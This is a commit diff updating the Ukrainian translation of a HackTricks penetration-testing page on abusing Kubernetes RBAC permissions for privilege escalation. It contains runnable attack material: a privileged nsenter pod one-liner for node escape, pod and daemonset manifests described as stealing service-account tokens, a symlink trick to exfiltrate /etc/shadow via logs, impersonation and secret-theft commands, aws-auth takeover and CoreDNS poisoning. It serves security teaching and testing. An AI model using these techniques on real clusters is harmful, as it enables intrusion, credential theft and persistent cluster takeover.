Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub

This commit is contained in:
Translator
2026-02-12 12:39:58 +00:00
parent 09769502b4
commit c4b64d748b
2 changed files with 204 additions and 180 deletions
@@ -1,23 +1,23 @@
# Зловживання Ролями/КластерРолями в Kubernetes
# Зловживання Roles/ClusterRoles в Kubernetes
{{#include ../../../banners/hacktricks-training.md}}
Тут ви можете знайти деякі потенційно небезпечні конфігурації Ролей та КластерРолей.\
Пам'ятайте, що ви можете отримати всі підтримувані ресурси за допомогою `kubectl api-resources`
Тут ви можете знайти деякі потенційно небезпечні конфігурації Roles і ClusterRoles.\
Пам'ятайте, що ви можете отримати весь перелік підтримуваних ресурсів за допомогою `kubectl api-resources`
## **Ескалація Привілеїв**
## **Privilege Escalation**
Це мистецтво отримання **доступу до іншого принципала** в кластері **з іншими привілеями** (в межах кластеру kubernetes або до зовнішніх хмар), в Kubernetes є в основному **4 основні техніки для ескалації привілеїв**:
Під цим розуміється мистецтво отримати доступ до іншого principal у межах кластера з іншими привілеями (в межах Kubernetes кластера або до зовнішніх хмар), ніж ті, що у вас вже є. В Kubernetes фактично є **4 main techniques to escalate privileges**:
- Мати можливість **вдаватись** в інших користувачів/груп/SA з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
- Мати можливість **створювати/редагувати/виконувати поди**, де ви можете **знайти або приєднати SA** з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
- Мати можливість **читати секрети**, оскільки токени SA зберігаються як секрети
- Мати можливість **втекти на вузол** з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо є)
- П'ята техніка, яка заслуговує на згадку, це можливість **запускати port-forward** в поді, оскільки ви можете отримати доступ до цікавих ресурсів у цьому поді.
- Мати можливість **impersonate** інших user/groups/SAs з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар
- Мати можливість **create/patch/exec pods**, де ви можете **find or attach SAs** з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар
- Мати можливість **read secrets**, оскільки токени SAs зберігаються як secrets
- Мати можливість **escape to the node** з контейнера, де ви можете вкрасти всі secrets контейнерів, що працюють на вузлі, облікові дані вузла та права вузла у хмарі, де він запущений (якщо є)
- П'ята техніка, яку варто згадати — це здатність **run port-forward** в pod, оскільки ви можете отримати доступ до цікавих ресурсів всередині цього pod.
### Доступ до Будь-якого Ресурсу або Дії (Wildcard)
### Access Any Resource or Verb (Wildcard)
**Джокер (\*) надає дозвіл на будь-який ресурс з будь-якою дією**. Його використовують адміністратори. Усередині КластерРолі це означає, що зловмисник може зловживати будь-яким простором імен у кластері.
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -29,13 +29,13 @@ rules:
resources: ["*"]
verbs: ["*"]
```
### Доступ до будь-якого ресурсу з певним дієсловом
### Доступ до будь-якого ресурсу з конкретною дією
У RBAC певні дозволи становлять значні ризики:
У RBAC деякі дозволи становлять значну загрозу:
1. **`create`:** Надає можливість створювати будь-який ресурс кластера, що ризикує ескалацією привілеїв.
2. **`list`:** Дозволяє перераховувати всі ресурси, потенційно витікаючи чутливі дані.
3. **`get`:** Дозволяє доступ до секретів з облікових записів служб, що становить загрозу безпеці.
1. **`create`:** Надає можливість створювати будь-який ресурс кластера, що ризикує призвести до privilege escalation.
2. **`list`:** Дозволяє перелічувати всі ресурси, потенційно leaking sensitive data.
3. **`get`:** Дозволяє отримувати secrets з service accounts, що становить загрозу безпеці.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього.
Зловмисник, який має права створювати pod, може приєднати привілейований Service Account до pod і викрасти token, щоб видаватися за цей Service Account, фактично підвищивши свої привілеї.
Приклад пода, який вкраде токен облікового запису служби `bootstrap-signer` і надішле його атакуючому:
Приклад pod, який викраде token service account `bootstrap-signer` та надішле його зловмиснику:
```yaml
apiVersion: v1
kind: Pod
@@ -74,12 +74,12 @@ hostNetwork: true
```
### Pod Create & Escape
Наступне вказує на всі привілеї, які може мати контейнер:
Нижче вказано всі привілеї, які може мати контейнер:
- **Привілейований доступ** (вимкнення захистів і налаштування можливостей)
- **Вимкнення простору імен hostIPC та hostPid**, що може допомогти підвищити привілеї
- **Вимкнення простору імен hostNetwork**, що надає доступ для крадіжки привілеїв вузлів у хмарі та кращого доступу до мереж
- **Монтування хостів / всередині контейнера**
- **Privileged access** (відключення захисту та встановлення capabilities)
- **Disable namespaces hostIPC and hostPid** що може допомогти ескалації привілеїв
- **Disable hostNetwork** namespace, що дає доступ до викрадення привілеїв хмарних вузлів і кращого доступу до мереж
- **Mount hosts /** всередині контейнера
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
@@ -115,45 +115,45 @@ volumes:
hostPath:
path: /
```
Створіть под з:
Створіть pod за допомогою:
```bash
kubectl --token $token create -f mount_root.yaml
```
Однорядковий код з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
Однолайнер із [this tweet](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Тепер, коли ви можете втекти до вузла, перевірте техніки пост-експлуатації в:
Now that you can escape to the node check post-exploitation techniques in:
#### Схованість
#### Stealth
Ви, напевно, хочете бути **схованішими**, на наступних сторінках ви можете побачити, до чого ви зможете отримати доступ, якщо створите под, активувавши лише деякі з вказаних привілеїв у попередньому шаблоні:
Можливо, ви захочете бути **більш непомітним**. На наступних сторінках показано, до чого ви зможете отримати доступ, якщо створите pod, увімкнувши лише деякі з привілеїв, згаданих у попередньому шаблоні:
- **Привілейований + hostPID**
- **Тільки привілейований**
- **Privileged + hostPID**
- **Privileged only**
- **hostPath**
- **hostPID**
- **hostNetwork**
- **hostIPC**
_Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів у_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
_Приклади створення/зловживання наведеними конфігураціями privileged pods можна знайти в_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Створення пода - Перехід до хмари
### Pod Create - Move to cloud
Якщо ви можете **створити** **под** (і, за бажанням, **обліковий запис служби**), ви можете **отримати привілеї в хмарному середовищі**, **призначивши хмарні ролі поду або обліковому запису служби** і потім отримавши до нього доступ.\
Більше того, якщо ви можете створити **под з простором імен мережі хоста**, ви можете **вкрасти IAM** роль **вузла** екземпляра.
Якщо ви можете **create** **pod** (і опційно **service account**), ви можете **отримати привілеї в cloud environment**, призначивши **cloud roles pod або service account** і потім отримавши до них доступ.
Більше того, якщо ви можете створити **pod з host network namespace**, ви можете **вкрасти роль IAM** екземпляра **node**.
Для отримання додаткової інформації перевірте:
For more information check:
{{#ref}}
pod-escape-privileges.md
{{#endref}}
### **Створення/Патч Деплойментів, Деймонсетів, Станових наборів, Контролерів реплікації, Реплікаційних наборів, Завдань та Кронзавдань**
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
Можливо зловживати цими дозволами, щоб **створити новий под** і отримати привілеї, як у попередньому прикладі.
Можна зловживати цими дозволами, щоб **create a new pod** і **escalate privileges** як у попередньому прикладі.
Наступний yaml **створює деймонсет і ексфільтрує токен SA** всередині пода:
Нижче наведено yaml, який **creates a daemonset and exfiltrates the token of the SA** всередині pod:
```yaml
apiVersion: apps/v1
kind: DaemonSet
@@ -191,32 +191,31 @@ path: /
```
### **Pods Exec**
**`pods/exec`** - це ресурс у kubernetes, який використовується для **виконання команд у оболонці всередині пода**. Це дозволяє **виконувати команди всередині контейнерів або отримати оболонку всередині**.
**`pods/exec`** це ресурс у kubernetes, що використовується для **запуску команд у shell всередині pod**. Це дозволяє **виконувати команди всередині containers або отримати shell всередині**.
Отже, можливо **потрапити всередину пода і вкрасти токен SA**, або увійти в привілейований под, втекти на вузол і вкрасти всі токени подів на вузлі та (зловживати) вузлом:
Тому можливо **отримати доступ до pod і вкрасти токен SA**, або зайти в привілейований pod, escape на node, і вкрасти всі токени pods на node та (ab)use the node:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> За замовчуванням команда виконується в першому контейнері пода. Отримайте **всі контейнери в поді** за допомогою `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`, а потім **вкажіть контейнер**, в якому ви хочете його виконати, за допомогою `kubectl exec -it <pod_name> -c <container_name> -- sh`
Якщо це контейнер без дистрибутиву, ви можете спробувати використовувати **вбудовані команди оболонки** для отримання інформації про контейнери або завантажити свої власні інструменти, такі як **busybox**, використовуючи: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
> За замовчуванням команда виконується в першому контейнері pod. Отримайте **усі контейнери в pod** за допомогою `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` і потім **вкажіть контейнер**, в якому хочете виконати команду, за допомогою `kubectl exec -it <pod_name> -c <container_name> -- sh`
>
> Якщо це distroless контейнер, можна спробувати використовувати **shell builtins** для отримання інформації про контейнери або завантажити власні інструменти, наприклад **busybox**, використовуючи: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих додатків (веб?) всередині пода:
Цей дозвіл дозволяє **перенаправити один локальний порт на один порт у вказаному pod**. Це призначено для спрощення налагодження застосунків, що працюють у pod, але зловмисник може зловживати ним, щоб отримати доступ до цікавих (наприклад DBs) або вразливих застосунків (веб-застосунків?) всередині pod:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
### Записуваний на хості /var/log/ Escape
Як [**вказано в цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити под з **підключеним каталогом `/var/log/`** на ньому, ви можете **втекти з контейнера**.\
Це в основному тому, що коли **Kube-API намагається отримати логи** контейнера (використовуючи `kubectl logs <pod>`), він **запитує файл `0.log`** пода, використовуючи кінцеву точку `/logs/` служби **Kubelet**.\
Служба Kubelet відкриває кінцеву точку `/logs/`, яка в основному **відкриває файлову систему `/var/log` контейнера**.
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити pod з **hosts `/var/log/` directory mounted** на ньому, ви можете **escape from the container**.\
Це відбувається тому, що коли **Kube-API tries to get the logs** контейнера (використовуючи `kubectl logs <pod>`), воно **requests the `0.log`** файл пода через `/logs/` endpoint сервісу **Kubelet**.\
Сервіс Kubelet відкриває endpoint `/logs/`, який фактично **відкриває файлову систему `/var/log` контейнера**.
Отже, зловмисник з **доступом на запис у папку /var/log/** контейнера може зловживати цією поведінкою двома способами:
Тому, атакувальник з **access to write in the /var/log/ folder** контейнера може зловживати цією поведінкою двома способами:
- Модифікуючи файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`), щоб він був **символічним посиланням на `/etc/shadow`**, наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши:
- Змінивши файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`) так, щоб він був **symlink pointing to `/etc/shadow`**, наприклад. Тоді ви зможете exfiltrate hosts shadow file, виконавши:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -224,7 +223,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** в `/host-mounted/var/log/sym` на `/` і, коли **доступаючи до `https://<gateway>:10250/logs/sym/`, він отримає список кореневої** файлової системи хосту (зміна symlink може надати доступ до файлів).
- Якщо атакувальник контролює будь-який principal з **дозволами на читання `nodes/log`**, він може просто створити **symlink** у `/host-mounted/var/log/sym`, що вказує на `/`, і при **доступі до `https://<gateway>:10250/logs/sym/` він побачить список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -236,23 +235,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**Лабораторія та автоматизований експлойт можна знайти за** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
**Лабораторія та автоматизований експлойт доступні за** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Обхід захисту readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Якщо вам пощастить, і високо привілейована можливість `CAP_SYS_ADMIN` доступна, ви можете просто змонтувати папку знову як rw:
Якщо вам пощастить і доступна високо-привілейована capability capability `CAP_SYS_ADMIN`, ви можете просто перемонтувати папку як rw:
```bash
mount -o rw,remount /hostlogs/
```
#### Обхід захисту hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Як зазначено в [**цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), можливо обійти захист:
Як зазначено в [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), можливо обійти захист:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Який мав на меті запобігти втечам, подібним до попередніх, шляхом використання не hostPath mount, а PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис:
Це мало запобігти втечам, подібним до попередніх: замість використання hostPath mount — використати PersistentVolume і PersistentVolumeClaim, щоб змонтувати папку hosts у контейнері з можливістю запису:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -300,9 +299,9 @@ name: task-pv-storage-vol
```
### **Імітація привілейованих облікових записів**
З привілеєм [**імітації користувача**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) зловмисник може імітувати привілейований обліковий запис.
Маючи привілей [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), зловмисник може видати себе за привілейований обліковий запис.
Просто використовуйте параметр `--as=<username>` в команді `kubectl`, щоб імітувати користувача, або `--as-group=<group>`, щоб імітувати групу:
Просто використайте параметр `--as=<username>` в команді `kubectl`, щоб імітувати користувача, або `--as-group=<group>` щоб імітувати групу:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
@@ -315,15 +314,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listing Secrets
### Перелік Secrets
Дозвіл на **перегляд секретів може дозволити зловмиснику фактично прочитати секрети**, отримуючи доступ до REST API кінцевої точки:
Дозвіл на **list secrets може дозволити зловмиснику фактично прочитати secrets**, отримавши доступ до REST API endpoint:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Створення та читання секретів
### Створення та читання Secrets
Існує особливий вид секрету Kubernetes типу **kubernetes.io/service-account-token**, який зберігає токени облікових записів сервісів. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису сервісу, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису сервісу жертви з нього:
Існує спеціальний тип Kubernetes secret типу **kubernetes.io/service-account-token**, який зберігає serviceaccount tokens.
Якщо у вас є права створювати і читати secrets, і ви також знаєте ім'я serviceaccount, ви можете створити secret наступним чином і потім вкрасти token відповідного serviceaccount з нього:
```yaml
apiVersion: v1
kind: Secret
@@ -382,17 +382,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
"type": "kubernetes.io/service-account-token"
}
```
Зверніть увагу, що якщо вам дозволено створювати та читати секрети в певному просторі імен, обліковий запис служби жертви також повинен бути в тому ж просторі імен.
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
### Читання секрету – брутфорсинг ID токенів
Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких пов'язаний з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
### Читання secret brute-forcing token IDs
Токен генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник може здійснити брутфорс-атаку, щоб вивести токен за кілька годин, що потенційно призведе до ескалації привілеїв шляхом доступу до чутливих облікових записів служб.
Хоча зловмиснику, який має token з правами читання, потрібна точна назва secret для його використання (на відміну від ширшої привілеї _**listing secrets**_), все одно існують вразливості. Default service accounts у системі можна перерахувати, кожен пов'язаний із secret. Ці secrets мають структуру імені: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий token (без певних символів) згідно з [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
### EncrpytionConfiguration у відкритому тексті
Token генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник теоретично може виконати brute-force атаку, щоб визначити token за кілька годин, що потенційно може призвести до privilege escalation шляхом доступу до конфіденційних service accounts.
Можливо знайти ключі у відкритому тексті для шифрування даних у спокої в цьому типі об'єкта, таких як:
### EncrpytionConfiguration in clear text
Можна знайти ключі у відкритому вигляді для шифрування data at rest в об'єкті такого типу, наприклад:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
@@ -449,13 +450,13 @@ keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Запити на підписання сертифікатів
### Certificate Signing Requests
Якщо у вас є дієслово **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла.**
Якщо у вас є вербси **`create`** у ресурсі `certificatesigningrequests` (або принаймні у `certificatesigningrequests/nodeClient`), ви можете **створити** новий CeSR для **нового вузла.**
Згідно з [документацією, можливо автоматично схвалити ці запити](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно буде мати можливість схвалити запит, що означає оновлення в `certificatesigningrequests/approval` та `approve` в `signers` з resourceName `<signerNameDomain>/<signerNamePath>` або `<signerNameDomain>/*`
Згідно з [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно мати можливість approve запит, що означає право update у `certificatesigningrequests/approval` та `approve` у `signers` з resourceName `<signerNameDomain>/<signerNamePath>` або `<signerNameDomain>/*`
**Приклад ролі** з усіма необхідними дозволами:
Приклад **role** з усіма необхідними дозволами є:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -486,19 +487,19 @@ resourceNames:
verbs:
- approve
```
Отже, з новим затвердженим CSR вузла ви можете **зловживати** спеціальними правами вузлів, щоб **викрасти секрети** та **підвищити привілеї**.
Отже, після схвалення нового node CSR ви можете **abuse** спеціальні дозволи nodes, щоб **steal secrets** і **escalate privileges**.
У [**цьому пості**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**цьому**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **автоматичним підписанням**, і це зловживається для генерації облікових даних нового вузла K8s, а потім ці облікові дані зловживаються для підвищення привілеїв шляхом викрадення секретів.\
Якщо ви **маєте згадані привілеї, ви могли б зробити те ж саме**. Зверніть увагу, що перший приклад обминає помилку, яка заважає новому вузлу отримувати доступ до секретів всередині контейнерів, оскільки **вузол може отримувати доступ лише до секретів контейнерів, змонтованих на ньому.**
У [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **automatic signing**, і це використовується для генерації credentials нового K8s Node, після чого можна **abuse** їх для **escalate privileges** та **steal secrets**.\
Якщо ви **маєте згадані привілеї, ви могли б зробити те саме**. Зверніть увагу, що перший приклад обходить помилку, яка перешкоджає новому node отримати доступ до secrets всередині containers, оскільки **node can only access the secrets of containers mounted on it.**
Спосіб обійти це - просто **створити облікові дані вузла для імені вузла, де змонтовано контейнер з цікавими секретами** (але просто перевірте, як це зробити в першому пості):
Спосіб обійти це просто **create a node credentials for the node name where the container with the interesting secrets is mounted** (але дивіться, як це зроблено у першому пості):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
Принципали, які можуть змінювати **`configmaps`** в просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати привілеї адміністратора кластера, перезаписуючи **aws-auth** configmap.\
Необхідні дієслова: **`update`** та **`patch`**, або **`create`**, якщо configmap не був створений:
Принципали, які можуть змінювати **`configmaps`** у просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати права адміністратора кластера, перезаписавши **aws-auth** configmap.\
Необхідні verbs — **`update`** та **`patch`**, або **`create`**, якщо configmap не було створено:
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
@@ -538,18 +539,18 @@ groups:
- system:masters
```
> [!WARNING]
> Ви можете використовувати **`aws-auth`** для **постійного доступу** до користувачів з **інших облікових записів**.
> Ви можете використовувати **`aws-auth`** для **persistence**, що дає доступ користувачам з **інших облікових записів**.
>
> Однак, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **не працює з іншого облікового запису**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо ви введете ARN кластера замість просто назви.\
> Щоб `kubectl` працював, просто переконайтеся, що **налаштували** **kubeconfig жертви** і в аргументах exec aws додайте `--profile other_account_role`, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS.
> Однак `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **не працює з іншого акаунту**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо вказати ARN кластера замість просто імені.\
> Щоб `kubectl` працював, просто переконайтеся, що ви **налаштували** **kubeconfig жертви** і в aws exec args додали `--profile other_account_role`, щоб kubectl використовував профіль іншого акаунту для отримання токена та зв'язку з AWS.
### CoreDNS config map
Якщо у вас є дозволи на зміну **`coredns` configmap** в просторі імен `kube-system`, ви можете змінити адреси, до яких будуть розв'язуватись домени, щоб мати можливість виконувати атаки MitM для **викрадення чутливої інформації або впровадження шкідливого контенту**.
Якщо у вас є права на зміну **`coredns` configmap** в неймспейсі `kube-system`, ви можете змінити адреси, до яких вирішуються домени, щоб виконувати MitM-атаки для **викрадення конфіденційної інформації або впровадження шкідливого вмісту**.
Необхідні дієслова - **`update`** та **`patch`** над **`coredns`** configmap (або всіма config maps).
Необхідні дієслова **`update`** та **`patch`** над **`coredns`** configmap (або над усіма config map).
Звичайний **файл coredns** містить щось на зразок цього:
Звичайний **файл coredns** містить приблизно таке:
```yaml
data:
Corefile: |
@@ -579,58 +580,75 @@ reload
loadbalance
}
```
Атакуючий може завантажити його, запустивши `kubectl get configmap coredns -n kube-system -o yaml`, змінити його, додавши щось на кшталт `rewrite name victim.com attacker.com`, так що щоразу, коли доступ до `victim.com`, насправді буде доступ до домену `attacker.com`. А потім застосувати це, запустивши `kubectl apply -f poison_dns.yaml`.
Зловмисник може завантажити його, виконавши `kubectl get configmap coredns -n kube-system -o yaml`, змінити, додавши, наприклад, `rewrite name victim.com attacker.com`, тож коли звертаються до `victim.com`, фактично буде доступний `attacker.com`. Потім застосувати зміни командою `kubectl apply -f poison_dns.yaml`.
Інший варіант - просто відредагувати файл, запустивши `kubectl edit configmap coredns -n kube-system` і внести зміни.
Інший варіант просто відредагувати файл через `kubectl edit configmap coredns -n kube-system` і внести зміни.
### Ескалація в GKE
Є **2 способи призначити K8s дозволи GCP принципалам**. У будь-якому випадку принципал також потребує дозволу **`container.clusters.get`**, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде **згенерувати свій власний файл конфігурації kubectl** (перейдіть за наступним посиланням).
Існує **2 способи призначити K8s дозволи суб'єктам GCP**. У будь-якому випадку суб'єкту також потрібен дозвіл **`container.clusters.get`**, щоб отримати облікові дані для доступу до кластера, або вам доведеться **згенерувати власний kubectl config файл** (перейдіть за наступним посиланням).
> [!WARNING]
> Коли ви звертаєтеся до K8s api endpoint, **GCP auth token буде надіслано**. Потім GCP, через K8s api endpoint, спочатку **перевірить, чи має принципал** (за електронною поштою) **будь-який доступ всередині кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\
> Якщо **будь-який** з цих пунктів **істинний**, він отримає **відповідь**. Якщо **ні**, буде надана **помилка**, що пропонує надати **дозволи через GCP IAM**.
> При зверненні до K8s api endpoint буде відправлено **GCP auth token**. Далі GCP, через K8s api endpoint, спочатку **перевірить, чи має принципал** (за email) **доступ всередині кластера**, потім перевірить, чи має він **доступ через GCP IAM**.\
> Якщо **хоч би одне** з цих тверджень істинне, буде **надано доступ**. Якщо **ні**, буде повернута **помилка** з підказкою надати **дозволи через GCP IAM**.
Отже, перший метод - це використання **GCP IAM**, дозволи K8s мають свої **еквівалентні дозволи GCP IAM**, і якщо принципал їх має, він зможе їх використовувати.
Перший метод використання **GCP IAM**: K8s дозволи мають свої **еквівалентні дозволи в GCP IAM**, і якщо принципал їх має, він зможе ними скористатися.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
Другий метод - це **призначення K8s дозволів всередині кластера** шляхом ідентифікації користувача за його **електронною поштою** (включаючи облікові записи служб GCP).
Другий метод **призначення K8s дозволів всередині кластера** користувачу, ідентифікованому за його **email** (включно з сервісними акаунтами GCP).
### Створення токена serviceaccounts
Принципали, які можуть **створювати TokenRequests** (`serviceaccounts/token`) при зверненні до K8s api endpoint SAs (інформація з [**тут**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Принципали, які можуть **`update`** або **`patch`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду на інших подах**, і потенційно **вийти** на свій вузол, додавши епhemeral контейнер з привілейованим securityContext.
Принципали, які можуть **`update`** або **`patch`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду в інших pods**, і потенційно **вийти на ноду**, додавши ephemeral container з привілейованим securityContext
### ValidatingWebhookConfigurations або MutatingWebhookConfigurations
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Принципали з будь-якими з дієслів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть бути здатні **створити одну з таких webhookconfigurations**, щоб мати можливість **ескалації привілеїв**.
Принципали з будь-яким із глаголів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть мати можливість **створити одну з таких webhookconfigurations** з метою **ескалації привілеїв**.
Для [`mutatingwebhookconfigurations` прикладу перевірте цей розділ цього посту](#malicious-admission-controller).
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
### Ескалація
### Escalate
Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принципал не може оновлювати або створювати ролі чи кластерні ролі, не маючи самих цих нових дозволів. За винятком випадків, якщо він має **дієслово `escalate` або `*`** над **`roles`** або **`clusterroles`** та відповідні параметри зв'язування.\
